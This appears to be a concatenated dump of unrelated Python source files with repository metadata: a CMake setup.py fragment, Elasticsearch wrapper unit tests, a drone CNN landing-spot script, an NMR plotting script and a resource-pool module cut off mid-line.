(https://stackoverflow.com/a/60301902/5194459) os.environ["IgnoreWarnIntDirInTempDetected"] = "true" os.chdir(str(build_temp)) self.spawn(['cmake', str(cwd)] + cmake_config_args) if not self.dry_run: self.spawn(['cmake'] + cmake_build_args) os.chdir(str(cwd)) setup( ext_modules = [CMakeExtension('endplay')], cmdclass = { 'build_ext': cmakeable_build_ext, }, test_suite = "tests" )

28.705128

78

0.718624

311

2,239

5.009646

0.440514

0.041078

0.048139

0.040436

0.084082

0.06932

0

0.018558

0.15766

2,239

78

79

28.705128

0.806999

0.116123

0

0.15282

0.032141

0

null

0

0.098039

null

0

null

0

null

0

1

0

1

e72a0ca6b792e14e75fd2eecb3abfa32cab566a5

19,071

py

Python

tests/test_superelasticsearch.py

wingify/superelasticsearch

3e6d5d7661d95e1e9207b84ae05310e313f8fd09

[ "MIT" ]

69

2015-10-09T19:55:38.000Z

2021-11-09T13:39:44.000Z

tests/test_superelasticsearch.py

wingify/superelasticsearch

3e6d5d7661d95e1e9207b84ae05310e313f8fd09

[ "MIT" ]

null

tests/test_superelasticsearch.py

wingify/superelasticsearch

3e6d5d7661d95e1e9207b84ae05310e313f8fd09

[ "MIT" ]

7

2015-10-26T08:00:46.000Z

2020-09-03T15:16:31.000Z

import functools import json import logging import os import time from copy import deepcopy from datadiff.tools import assert_equal as assertDictEquals from elasticsearch import Elasticsearch, ElasticsearchException, TransportError from mock import Mock from random import randint from superelasticsearch import SuperElasticsearch from superelasticsearch import BulkOperation from superelasticsearch import _BulkAction try: import unittest2 as unittest except ImportError: import unittest elasticsearch_logger = logging.getLogger('elasticsearch') elasticsearch_logger.setLevel(logging.ERROR) # get file's path in current directory local_path = lambda x: os.path.join(os.path.dirname(__file__), x) class TestItersearch(unittest.TestCase): # create a common Elasticsearch object es = Elasticsearch(hosts=['localhost:9200']) # create a common SuperElasticsearch object ss = SuperElasticsearch(hosts=['localhost:9200']) _index = 'automated_test_index__%s' % randint(0, 1000) _doc_type = 'automated_test_doc_type__%s' % randint(0, 1000) @classmethod def setUpClass(cls): cls._total_docs = 0 # read documents from a file and setup test index with open(local_path('test_data.dump'), 'r') as f: data = json.loads(f.read()) for doc in data: cls.es.index(index=cls._index, doc_type=cls._doc_type, body=doc) cls._total_docs += 1 def test_itersearch_raises_typeerror_when_scroll_param_is_missing(self): self.assertRaises(TypeError, self.ss.itersearch) def test_chunked_itersearch_performs_scroll(self): for size in (10, 100): scrollCounter = 0 docsCounter = 0 time.sleep(1) for docs in self.ss.itersearch(index=self._index, doc_type=self._doc_type, body=dict( query=dict(match_all={})), scroll='10m', size=size): scrollCounter += 1 docsCounter += len(docs) self.assertEquals(scrollCounter, self._total_docs / size + 1) def test_non_chunked_itersearch_performs_scroll(self): for size in (10, 100): docsCounter = 0 time.sleep(1) for doc in self.ss.itersearch(index=self._index, doc_type=self._doc_type, body=dict(query=dict(match_all={})), scroll='10m', size=size, chunked=False): docsCounter += 1 self.assertEquals(docsCounter, self._total_docs) def test_chunked_itersearch_with_meta_returns_meta(self): for size in (10, 100): scrollCounter = 0 docsCounter = 0 time.sleep(1) for docs, meta in self.ss.itersearch(index=self._index, doc_type=self._doc_type, body=dict(query=dict( match_all={})), scroll='10m', size=size, chunked=True, with_meta=True): docsCounter += len(docs) scrollCounter += 1 self.assertEquals(docsCounter, self._total_docs) self.assertEquals(scrollCounter, self._total_docs / size + 1) self.assertTrue(isinstance(meta, dict)) self.assertEquals(meta['hits']['total'], self._total_docs) def test_non_chunked_itersearch_with_meta_returns_meta(self): for size in (10, 100): docsCounter = 0 time.sleep(1) for doc, meta in self.ss.itersearch(index=self._index, doc_type=self._doc_type, body=dict(query=dict( match_all={})), scroll='10m', size=size, chunked=False, with_meta=True): docsCounter += 1 self.assertEquals(docsCounter, self._total_docs) self.assertTrue(isinstance(meta, dict)) self.assertEquals(meta['hits']['total'], self._total_docs) def test_itersearch_raises_assertion_error_when_less_docs_fetched(self): mocked_value_template = { "took": 27, "timed_out": False, "_scroll_id": 123213, "_shards": { "total": 2, "successful": 2, "failed": 0 }, "hits": { "total": 13, "max_score": None, "hits": [ dict(some_doc="with_some_val") for i in xrange(10) ] } } ss = SuperElasticsearch(hosts=['localhost:9200']) def assertion(chunked): # mock the client's scroll method mocked_search_result = deepcopy(mocked_value_template) ss.search = Mock(return_value=mocked_search_result) mocked_scroll_result = deepcopy(mocked_value_template) mocked_scroll_result['_scroll_id'] = 456456 mocked_scroll_result['hits']['hits'] = [ dict(some_doc="with_some_val") for i in xrange(2) ] ss.scroll = Mock(return_value=mocked_scroll_result) search_generator = ss.itersearch(index=self._index, doc_type=self._doc_type, body=dict(query=dict( match_all={})), scroll='10m', chunked=chunked) if chunked: iterate_times = 2 else: iterate_times = 12 for _ in range(0, iterate_times): search_generator.next() mocked_scroll_result = deepcopy(mocked_value_template) mocked_scroll_result['_scroll_id'] = 789789 mocked_scroll_result['hits']['hits'] = [] ss.scroll = Mock(return_value=mocked_scroll_result) search_generator.next() self.assertRaises(ElasticsearchException, functools.partial(assertion, True)) self.assertRaises(ElasticsearchException, functools.partial(assertion, False)) def test_that_itersearch_clears_scroll_on_successful_scroll(self): for docs, meta in self.ss.itersearch(index=self._index, doc_type=self._doc_type, body=dict( query=dict(match_all={})), scroll='10m', size=100, with_meta=True): scroll_id = meta['_scroll_id'] # check if it was the right exception self.assertRaises(TransportError, self.es.scroll, scroll_id) try: self.es.scroll(scroll_id) except TransportError, err: self.assertTrue('SearchContextMissingException' in str(err)) @classmethod def tearDownClass(cls): cls.es.indices.delete(index=cls._index) class TestBulkAction(unittest.TestCase): def test_bulk_action_must_not_accept_invalid_action(self): self.assertRaises(Exception, _BulkAction, type='asd', params={}) def test_bulk_action_must_accept_valid_actions(self): _BulkAction('index', params={}, body=dict(key1='val1')) _BulkAction('create', params={}, body=dict(key1='val1')) _BulkAction('update', params={}, body=dict(key1='val1')) _BulkAction('delete', params={}) def test_bulk_action_must_throw_exception_when_missing_expected_body(self): self.assertRaises(Exception, _BulkAction, 'index', params={}) _BulkAction('index', params={}, body=dict(key1='val1')) def test_bulk_action_must_generate_valid_bulk_op_for_es(self): body = dict(key1='val1') action = _BulkAction('index', params={}, body=body) self.assertEquals(action.es_op, (json.dumps({ 'index': {} }) + '\n' + json.dumps(body))) action = _BulkAction('create', params=dict(routing='123', refresh=True), body=body) self.assertEquals(action.es_op, (json.dumps({ 'create': dict(routing='123', refresh=True) }) + '\n' + json.dumps(body))) # make sure that body is ignored when the operation does not require it action = _BulkAction('delete', params=dict(routing='123', refresh=True), body=body) self.assertEquals(action.es_op, (json.dumps({ 'delete': dict(routing='123', refresh=True) }))) class TestBulkOperation(unittest.TestCase): # create a common Elasticsearch object es = Elasticsearch(hosts=['localhost:9200']) # create a common SuperElasticsearch object ss = SuperElasticsearch(hosts=['localhost:9200']) _index = 'automated_test_index__%s' % randint(0, 1000) def setUp(self): self._bulk = self.ss.bulk def tearDown(self): # restore bulk method back on SuperElasticsearch object self.ss.bulk = self._bulk def test_bulk_operation_returns_bulk_operation_object(self): self.assertTrue( isinstance(self.ss.bulk_operation(), BulkOperation)) def test_bulk_operation_must_pass_superlelasticsearch_object(self): self.assertEquals(self.ss, self.ss.bulk_operation()._client) def test_index_or_create_must_push_correct_action(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') # Without params bulk._index_or_create('index', body) action = bulk._actions[-1] self.assertEquals(action.type, 'index') assertDictEquals(action.body, body) assertDictEquals(action.params, {}) # With params bulk._index_or_create('create', doc_type='test_doc_type', body=body, id=1, consistency='sync', ttl=200) action = bulk._actions[-1] self.assertEquals(action.type, 'create') assertDictEquals(action.body, body) assertDictEquals(action.params, { '_type': 'test_doc_type', '_id': 1, 'consistency': 'sync', 'ttl': '200' }) bulk._index_or_create('create', index='test_bulk', doc_type='test_doc_type', body=body, routing='abcd', refresh=True) action = bulk._actions[-1] self.assertEquals(action.type, 'create') assertDictEquals(action.body, body) assertDictEquals(action.params, { '_index': 'test_bulk', '_type': 'test_doc_type', 'routing': 'abcd', 'refresh': 'true', }) def test_index_calls_index_or_create_method_with_correct_args(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') bulk._index_or_create = Mock() bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body, timeout=200) self.assertTrue(bulk._index_or_create) self.assertEquals(bulk._index_or_create.call_args[0][0], 'index') assertDictEquals(bulk._index_or_create.call_args[0][1], body) self.assertEquals(bulk._index_or_create.call_args[0][2], None) self.assertEquals(bulk._index_or_create.call_args[1]['timeout'], 200) self.assertEquals(bulk._index_or_create.call_args[1]['index'], 'test_bulk') self.assertEquals(bulk._index_or_create.call_args[1]['doc_type'], 'test_bulk_doc_type') def test_create_calls_index_or_create_method_with_correct_args(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') bulk._index_or_create = Mock() bulk.create(doc_type='test_bulk_doc_type', body=body, id=4, timeout=200, routing='abcd') self.assertTrue(bulk._index_or_create) self.assertEquals(bulk._index_or_create.call_args[0][0], 'create') assertDictEquals(bulk._index_or_create.call_args[0][1], body) self.assertEquals(bulk._index_or_create.call_args[0][2], 4) self.assertEquals(bulk._index_or_create.call_args[1]['timeout'], 200) self.assertEquals(bulk._index_or_create.call_args[1]['doc_type'], 'test_bulk_doc_type') self.assertEquals(bulk._index_or_create.call_args[1]['routing'], 'abcd') def test_execute_must_empty_actions_after_executing_bulk_operation(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body, id=4, routing='abcd') bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body) bulk.execute() self.assertEquals(len(bulk._actions), 0) def test_execute_must_return_bulk_response(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body, id=4, routing='abcd') bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body) resp = bulk.execute() self.assertTrue(isinstance(resp, dict)) self.assertTrue(isinstance(resp['items'], list)) self.assertEquals(len(resp['items']), 2) def test_execute_must_call_bulk_with_correct_body_arg(self): body = dict(key1='val1') bulk = self.ss.bulk_operation() bulk._client.bulk = Mock() bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body, id=4, routing='abcd') bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body) expected_bulk_body = '' for action in bulk._actions: expected_bulk_body += action.es_op + '\n' resp = bulk.execute() self.assertTrue(bulk._client.bulk.called) self.assertTrue(isinstance(bulk._client.bulk.call_args[1]['body'], str)) self.assertEquals(bulk._client.bulk.call_args[1]['body'], expected_bulk_body) def test_execute_must_use_kwargs_provided_at_the_creation_of_bulk_op(self): body = dict(key1='val1') bulk = self.ss.bulk_operation(index='default_index', doc_type='some_type', refresh=True) bulk._client.bulk = Mock() bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body, id=4, routing='abcd') bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body) resp = bulk.execute() self.assertTrue(bulk._client.bulk.called) self.assertEquals(bulk._client.bulk.call_args[1]['index'], 'default_index') self.assertEquals(bulk._client.bulk.call_args[1]['doc_type'], 'some_type') self.assertEquals(bulk._client.bulk.call_args[1]['refresh'], 'true') def test_execute_must_override_kwargs_provided_at_bulk_op_creation(self): body = dict(key1='val1') bulk = self.ss.bulk_operation(index='default_index', doc_type='some_type', refresh=True) bulk._client.bulk = Mock() bulk.create(index='test_bulk', doc_type='test_bulk_doc_type', body=body, id=4, routing='abcd') bulk.index(index='test_bulk', doc_type='test_bulk_doc_type', body=body) resp = bulk.execute(index='some_other_index', refresh=False) self.assertTrue(bulk._client.bulk.called) self.assertEquals(bulk._client.bulk.call_args[1]['index'], 'some_other_index') self.assertEquals(bulk._client.bulk.call_args[1]['doc_type'], 'some_type') self.assertEquals(bulk._client.bulk.call_args[1]['refresh'], 'false') def test_update_must_push_correct_action(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') # Without params bulk.update(id=123, body=body) action = bulk._actions[-1] self.assertEquals(action.type, 'update') assertDictEquals(action.body, body) assertDictEquals(action.params, dict(_id=123)) # With params bulk.update(index='test_index', doc_type='test_doc_type', body=body, id=123, consistency='sync', ttl=200) action = bulk._actions[-1] self.assertEquals(action.type, 'update') assertDictEquals(action.body, body) assertDictEquals(action.params, { '_index': 'test_index', '_type': 'test_doc_type', '_id': 123, 'consistency': 'sync', 'ttl': '200' }) def test_delete_must_push_correct_action(self): bulk = self.ss.bulk_operation() body = dict(key1='val1') # Without params bulk.delete(id=123) action = bulk._actions[-1] self.assertEquals(action.type, 'delete') assertDictEquals(action.body, None) assertDictEquals(action.params, dict(_id=123)) # With params bulk.delete(index='test_index', doc_type='test_doc_type', id=123, consistency='sync', parent=1) action = bulk._actions[-1] self.assertEquals(action.type, 'delete') assertDictEquals(action.body, None) assertDictEquals(action.params, { '_index': 'test_index', '_type': 'test_doc_type', '_id': 123, 'consistency': 'sync', 'parent': '1', }) # Make sure delete does not push body even if passed bulk.delete(id=123, body=body) action = bulk._actions[-1] self.assertEquals(action.type, 'delete') assertDictEquals(action.body, None) assertDictEquals(action.params, dict(_id=123))

41.012903

80

0.566619

2,041

19,071

5.018128

0.119059

0.041008

0.027924

0.038079

0.685218

0.640207

0.612087

0.591779

0.56571

0.538274

0

0.020562

0.326779

19,071

464

81

41.101293

0.777163

0.029679

0

0.522788

0

0.082274

0.005626

0

0.211796

0

null

0.002681

0.042895

null

0

null

0

null

0

1

0

1

e731eea223ba49e889915de1e8f4b5bd9d13dbc0

11,833

py

Python

Working CNN Boi v2.py

hlal1/Bebop-Autonomous-Control

9cfd5f7475d828fbc932baf70eaeccafcdf48970

[ "MIT" ]

2

2018-12-02T04:17:18.000Z

2018-12-18T10:56:10.000Z

Working CNN Boi v2.py

hlal1/Bebop-Autonomous-Control

9cfd5f7475d828fbc932baf70eaeccafcdf48970

[ "MIT" ]

null

Working CNN Boi v2.py

hlal1/Bebop-Autonomous-Control

9cfd5f7475d828fbc932baf70eaeccafcdf48970

[ "MIT" ]

null

# coding: utf-8 # In[2]: import os import numpy as np import pylab import imageio from matplotlib import pyplot as plt import cv2 import time from os.path import isfile, join from keras.applications import mobilenet from keras.models import load_model from scipy.ndimage.measurements import label from scipy.ndimage.measurements import center_of_mass from matplotlib import colors import skimage # In[3]: print(os.listdir('.')) # In[1]: import os from keras.preprocessing.image import ImageDataGenerator # normalization # normalize each chip samplewise_center = True samplewise_std_normalization = True # normalize by larger batches featurewise_center = False featurewise_std_normalization = False # adjacent pixel correllation reduction # never explored zca_whitening = False zca_epsilon = 1e-6 # data augmentation # training only transform = 0 zoom_range = 0 color_shift = 0 rotate = 0 flip = False datagen_test = ImageDataGenerator( samplewise_center=samplewise_center, featurewise_center=featurewise_center, featurewise_std_normalization=featurewise_std_normalization, samplewise_std_normalization=samplewise_std_normalization, zca_whitening=zca_whitening, zca_epsilon=zca_epsilon, rotation_range=rotate, width_shift_range=transform, height_shift_range=transform, shear_range=transform, zoom_range=zoom_range, channel_shift_range=color_shift, fill_mode='constant', cval=0, horizontal_flip=flip, vertical_flip=flip, rescale=1./255, preprocessing_function=None) generator_test = datagen_test.flow( 'Training_Data', target_size=(image_dimensions,image_dimensions), color_mode="rgb", batch_size=training_batch_size, class_mode='categorical', shuffle=True) # **Module to operate on each individual frame of the video** # In[4]: #Load Weights model = load_model('bebop_mobilenet_v0.h5', custom_objects={ 'relu6': mobilenet.relu6, 'DepthwiseConv2D': mobilenet.DepthwiseConv2D}) # In[32]: def ProcessChip (frame): #result_feature_map = np.zeros((9,16,7)) #CNN feature map to be returned values = np.zeros((9,16,3)) chips = np.zeros((144,120,120,3)) for i in range(0,9): for j in range(0,16): chips[16*i+j] = frame[120*i:120*(i+1), 120*j:120*(j+1), :] #values[i][j]=model.predict(np.expand_dims(frame[120*i:120*(i+1), 120*j:120*(j+1), :], 0)) #chip = frame[120*i:120*(i+1), 120*j:120*(j+1), :] generator_test = datagen_test.flow( chips, batch_size=144, shuffle=False) #return values return model.predict_generator(generator_test, steps = 1) # In[12]: #All Decision Algo Definition #Function to find the closest roof/driveway def closest(list,img_center): closest=list[0] for c in list: if np.linalg.norm(c-img_center) < np.linalg.norm(closest-img_center): closest = c return closest #Sliding window function def sliding_window_view(arr, shape): n = np.array(arr.shape) o = n - shape + 1 # output shape strides = arr.strides new_shape = np.concatenate((o, shape), axis=0) new_strides = np.concatenate((strides, strides), axis=0) return np.lib.stride_tricks.as_strided(arr ,new_shape, new_strides) # In[13]: ##Decision algo with input of 9x16 array at which image was taken. def decision_algo(image_frame): image_frame[image_frame==0]=3 ### READ THE ALTITUDE FROM CSV FILE ### #Read alt.csv with open('alt.csv', 'r') as csvfile: alt_list = [line.rstrip('\n') for line in csvfile] #Choose last value in alt_list altitude=int(alt_list[-1]) #in meters ### ALGORITHM TO FIND CLOSEST DRIVEWAY ### #Center of the 9x16 array img_center=np.array([4,7.5]) #Label all the driveways and roofs driveway, num_driveway = label(image_frame==1) roof, num_roof = label(image_frame==2) #Save number of driveways and roofs into array d=np.arange(1,num_driveway+1) r=np.arange(1,num_roof+1) if(len(d)<1): print("No driveway found, return to base") else: #Find the center of the all the driveways driveway_center=center_of_mass(image_frame,driveway,d) roof_center=center_of_mass(image_frame,roof,r) #Find the closest roof to the center of the image if(len(roof_center)>0): closest_roof=closest(roof_center,img_center) else: #if no roof is found, set closest_roof as center of image closest_roof=img_center print("Roof center list empty") #Find the closest driveway to the closest roof closest_driveway=closest(driveway_center,np.asarray(closest_roof)) ### ALGORITHM TO FIND 3x3 DRIVEWAY TO LAND ### #If altitude is 5m or less, look for a 3x3 sliding window of 1's, if found, Land. #At 5m, a 3x3 will be equivalent to 1.5m x 1.5m. if(altitude<=5.0): #Creates a 7x10 ndarray with all the 3x3 submatrices sub_image=sliding_window_view(image_frame,(3,3)) #Empty list driveway_list=[] #Loop through the 7x14 ndarray for i in range(0,7): for j in range(i,14): #Calculate the total of the submatrices output=sum(sum(sub_image[i,j])) #if the output is 9, that means we have a 3x3 that is all driveway if output==9: #append the i(row) and j(column) to a list declared previously #we add 1 to the i and j to find the center of the 3x3 driveway_list.append((i+1,j+1)) if(len(driveway_list)>0): #Call closest function to find driveway closest to house. closest_driveway=closest(driveway_list,np.asarray(closest_roof)) print(closest_driveway) print("Safe to land") else: print("Need to fly lower") ### SCALE CLOSEST DRIVEWAY CENTER TO REAL WORLD COORDINATES AND SAVE TO CSV ### scaler=0.205/(216.26*altitude**-0.953) #m/pixel if(len(driveway_center)>0): print (closest_driveway) move_coordinates=([4,7.5]-np.asarray(closest_driveway)) #Find coordinates relative to center of image move_coordinates=np.asarray(move_coordinates)*np.asarray(scaler)*120 #60 is the center of the 120x120 superpixel move_coordinates=np.append(move_coordinates,(altitude-2)) #Add altitude to array print (move_coordinates) with open('coords.csv', 'w') as csvfile: filewriter = csv.writer(csvfile, delimiter=',') filewriter.writerow(move_coordinates) with open('coordinates_history.csv', 'a', newline='') as csvfile: filewriter = csv.writer(csvfile, delimiter=',') filewriter.writerow(move_coordinates) return # In[14]: def heatmap (feature_map, frame): color_mask = np.zeros((1080,1920,3)) temp_frame = skimage.img_as_float(frame) alpha = 0.6 for i in range (0,9): for j in range (0,16): if feature_map[i][j] == 2: color_mask[120*i:120*(i+1), 120*j:120*(j+1), :] = [0, 0, 1] #Blue elif feature_map[i][j] == 1: color_mask[120*i:120*(i+1), 120*j:120*(j+1), :] = [0, 1, 0] #Green else: color_mask[120*i:120*(i+1), 120*j:120*(j+1), :] = [1, 0, 0] #Red color_mask_hsv = colors.rgb_to_hsv(color_mask) frame_hsv = colors.rgb_to_hsv(temp_frame) frame_hsv[..., 0] = color_mask_hsv[..., 0] frame_hsv[..., 1] = color_mask_hsv[..., 1] * alpha frame_masked = colors.hsv_to_rgb(frame_hsv) return frame_masked # In[15]: def correct_arr (arr) : arr = arr + 1 arr[arr>2] = 0 return arr def reshape_arr (arr) : corr_feature_map = np.zeros((9,16)) for i in range (0, 9): for j in range (0, 16): corr_feature_map[i][j] = arr[16*i+j] return corr_feature_map # **Module to iterate through each frame in video** # In[46]: def VideoToFrames (vid): count = 0 # Can be removed. Just to verify number of frames #count_pavement = [] #t = time.time() for image in vid.iter_data(): #Iterate through every frame in Video #image: numpy array containing image information #Insert Function here to operate on frame. For now I've put my ProcessChip() placeholder. #ProcessChip is currently just returning a chip. Modify its return statement once CNN function call is added. #arr = correct_arr(np.argmax(ProcessChip(image), axis=1)) #print (arr) #count_pavement.extend([np.bincount(np.argmax(frame_feature_map, axis=1))[1]]) #The following is to just check if frames are being read correctly. Can be removed. #print(np.expand_dims(image,0).shape) if count % 600 == 0: print (count) feature_map = ProcessChip(image) arr = correct_arr(np.argmax(ProcessChip(image), axis=1)) arr = np.reshape(arr,(9,16)) decision_algo(arr) plt.imshow(heatmap(arr, image), interpolation='nearest') plt.show() count += 1 #elapsed = time.time() - t return if count % 600 == 0: print (count) arr = np.reshape(correct_arr(np.argmax(ProcessChip(image), axis=1)), (9,16)) #decision_algo(arr) print(arr) frame_masked = heatmap (arr, image) plt.imshow(frame_masked, interpolation='nearest') plt.show() # In[48]: filename = './Bebop2_20180414163256-0700.mp4' #Add path to video file # In[49]: vid = imageio.get_reader(filename, 'ffmpeg') #You can use any reader of your choice #print (vid.iter_data()) # In[50]: VideoToFrames(vid) #Passing the video to be analyzed frame by frame # In[79]: plt.plot(temp) [1 1 1 1 1 2 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 0 1 1 1 1 0 2 1 2 1 1 1 1 1 1 1 0 0 1 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 0 1 1 1 1 1][2 2 2 2 2 0 2 2 2 0 2 2 2 2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 2 2 1 2 2 2 2 1 0 2 0 2 2 2 2 2 2 2 1 1 2 2 2 1 2 1 2 2 2 2 2 2 2 2 2 2 1 2 2 2 2 1 2 2 2 2 2][[2 2 2 2 2 0 2 2 2 0 2 2 2 2 2 2] [2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2] [2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] [2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2] [2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2] [2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] [1 2 2 1 2 2 2 2 1 0 2 0 2 2 2 2] [2 2 2 1 1 2 2 2 1 2 1 2 2 2 2 2] [2 2 2 2 2 1 2 2 2 2 1 2 2 2 2 2]][[2 2 2 2 2 0 2 2 2 0 2 2 2 2 2 2] [2 2 2 2 2 0 2 2 2 2 2 2 2 2 2 2] [2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] [2 2 2 2 2 2 2 2 0 2 2 2 2 2 2 2] [2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2] [2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] [1 2 2 1 2 2 2 2 1 0 2 0 2 2 2 2] [2 2 2 1 1 2 2 2 1 2 1 2 2 2 2 2] [2 2 2 2 2 1 2 2 2 2 1 2 2 2 2 2]] # In[ ]: [[0 1 0 0 2 2 0 0 2 0 1 2 1 1 1 1] [0 0 0 0 2 2 2 2 1 0 1 1 1 1 1 0] [0 0 2 2 2 2 0 2 0 1 1 0 0 1 0 0] [0 0 2 2 2 2 0 2 0 1 1 1 0 0 0 0] [2 2 2 2 1 2 2 2 0 1 1 0 0 0 0 0] [0 1 2 2 2 2 2 2 0 0 1 0 1 0 0 0] [0 0 0 0 2 0 0 2 0 0 1 0 0 0 0 0] [0 0 0 0 1 2 2 0 0 1 0 0 0 0 0 0] [0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0]]

31.139474

141

0.604073

2,144

11,833

3.245336

0.170243

0.104053

0.136677

0.159241

0.240443

0.194165

0.173469

0.17117

0.164128

0.146019

0

0.126925

0.297558

11,833

379

142

31.221636

0.710178

0.232147

0

0.195349

0

0.028963

0.008466

0

null

0

0.074419

null

0.051163

0

null

0

null

0

1

0

1

e73b2f86358193465bc83dd50ac16ed7ccbafd76

891

py

Python

import_plotting_nmr.py

DrSPE/NMRscipts

166c6990103de549882fc4f812350efb3ae3862e

[ "MIT" ]

null

import_plotting_nmr.py

DrSPE/NMRscipts

166c6990103de549882fc4f812350efb3ae3862e

[ "MIT" ]

null

import_plotting_nmr.py

DrSPE/NMRscipts

166c6990103de549882fc4f812350efb3ae3862e

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Fri Mar 10 12:19:15 2017 @author: se359 """ # Imports import numpy as np import matplotlib.pyplot as plt #data import n, I, f, delta = np.loadtxt('nmr.txt', skiprows=1, delimiter=',', unpack=True) # Create a new figure of size 8x6 points, using 100 dots per inch plt.figure(figsize=(8,6), dpi=80) # Create a new subplot from a grid of 1x1 plt.subplot(111) # Plot using blue color with a continuous line of width 1 (pixels) plt.plot(delta, I, color="blue", linewidth=1.0, linestyle="-") # Set x limits #plt.xlim(-180.0,180.0) # Set x ticks #plt.xticks(np.linspace(-4,4,9,endpoint=True)) # Set y limits #plt.ylim(-1.0,1.0) # Set y ticks #plt.yticks(np.linspace(-1,1,5,endpoint=True)) # Save figure using 72 dots per inch # savefig("../figures/exercice_2.png",dpi=72) # Show result on screen plt.show()

21.731707

79

0.656566

155

891

3.767742

0.6

0.010274

0.034247

0

0.079057

0.190797

891

41

80

21.731707

0.730929

0.609428

0

0.045614

0

1

0

true

0

0.285714

0

0.285714

0

null

0

null

0

1

0

1

e7414b75773d5f23523a5725a52f49a652ee856f

6,602

py

Python

resources/src/mythbox/pool.py

bopopescu/ServerStatus

a883598248ad6f5273eb3be498e3b04a1fab6510

[ "MIT" ]

null

resources/src/mythbox/pool.py

bopopescu/ServerStatus

a883598248ad6f5273eb3be498e3b04a1fab6510

[ "MIT" ]

1

2015-04-24T02:24:31.000Z

2015-04-24T02:24:33.000Z

resources/src/mythbox/pool.py

GetSomeBlocks/Score_Soccer

a883598248ad6f5273eb3be498e3b04a1fab6510

[ "MIT" ]

2

2018-04-17T17:34:39.000Z

2020-07-26T03:43:33.000Z

# # MythBox for XBMC - http://mythbox.googlecode.com # Copyright (C) 2010 analogue@yahoo.com # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # import datetime import logging import threading import time from mythbox.util import sync_instance, run_async log = logging.getLogger('mythbox.inject') # Globally available resources pools # key = name of pool # value = Pool instance pools = {} class PoolableFactory(object): """Pooled resources needs a factory to create/destroy concrete instances.""" def create(self): raise Exception, "Abstract method" def destroy(self, resource): raise Exception, "Abstract method" class Pool(object): """Simple no frills unbounded resource pool""" def __init__(self, factory): """ @type factory: PoolableFactory """ self.factory = factory self.isShutdown = False self.inn = [] self.out = [] @sync_instance def checkout(self): if self.isShutdown: raise Exception, 'Pool shutdown' if len(self.inn) == 0: log.debug('Creating resource %d' % (len(self.out)+1)) resource = self.factory.create() else: resource = self.inn.pop() self.out.append(resource) return resource @sync_instance def checkin(self, resource): if self.isShutdown: raise Exception, 'Pool shutdown' self.inn.append(resource) self.out.remove(resource) @sync_instance def discard(self, resource): self.out.remove(resource) try: self.factory.destroy(resource) except: log.exception('while discarding') @sync_instance def shutdown(self): for resource in self.inn: try: self.factory.destroy(resource) except: log.exception('Destroy pooled resource') if len(self.out) > 0: log.warn('%d pooled resources still out on shutdown' % len(self.out)) self.isShutdown = True @sync_instance def size(self): return len(self.inn) + len(self.out) @sync_instance def available(self): return len(self.inn) @sync_instance def shrink(self): if self.isShutdown: raise Exception, 'Pool shutdown' if len(self.inn) > 0: for r in self.inn[:]: try: self.inn.remove(r) self.factory.destroy(r) except: log.exception('while shrinking') @sync_instance def grow(self, size): if self.isShutdown: raise Exception, 'Pool shutdown' if size > self.size(): delta = size - self.size() for i in range(delta): r = self.factory.create() self.inn.append(r) class EvictingPool(Pool): """Evicts resources asynchronously based on a configurable maximum age. Surprisingly, I came up empty finding an existing FOSS implementation where evictions were async.""" def __init__(self, factory, maxAgeSecs, reapEverySecs): Pool.__init__(self, factory) self.maxAgeSecs = maxAgeSecs self.reapEverySecs = reapEverySecs self.dobs = {} self.stopReaping = False self.numEvictions = 0 self.startLock = threading.Event() self.startLock.clear() self.evictorThread = self.evictor() # TODO: Don't start evictor until something is actually in the pool self.startLock.wait() log.debug('Evictor thread = %s' % self.evictorThread) @run_async def evictor(self): log.debug('Evictor started') self.startLock.set() cnt = 1 while not self.isShutdown and not self.stopReaping: time.sleep(1) if cnt % self.reapEverySecs == 0: self.reap(cnt) cnt+=1 log.debug('Evictor exiting') @sync_instance def reap(self, cnt): now = datetime.datetime.now() for r in self.inn: dob = 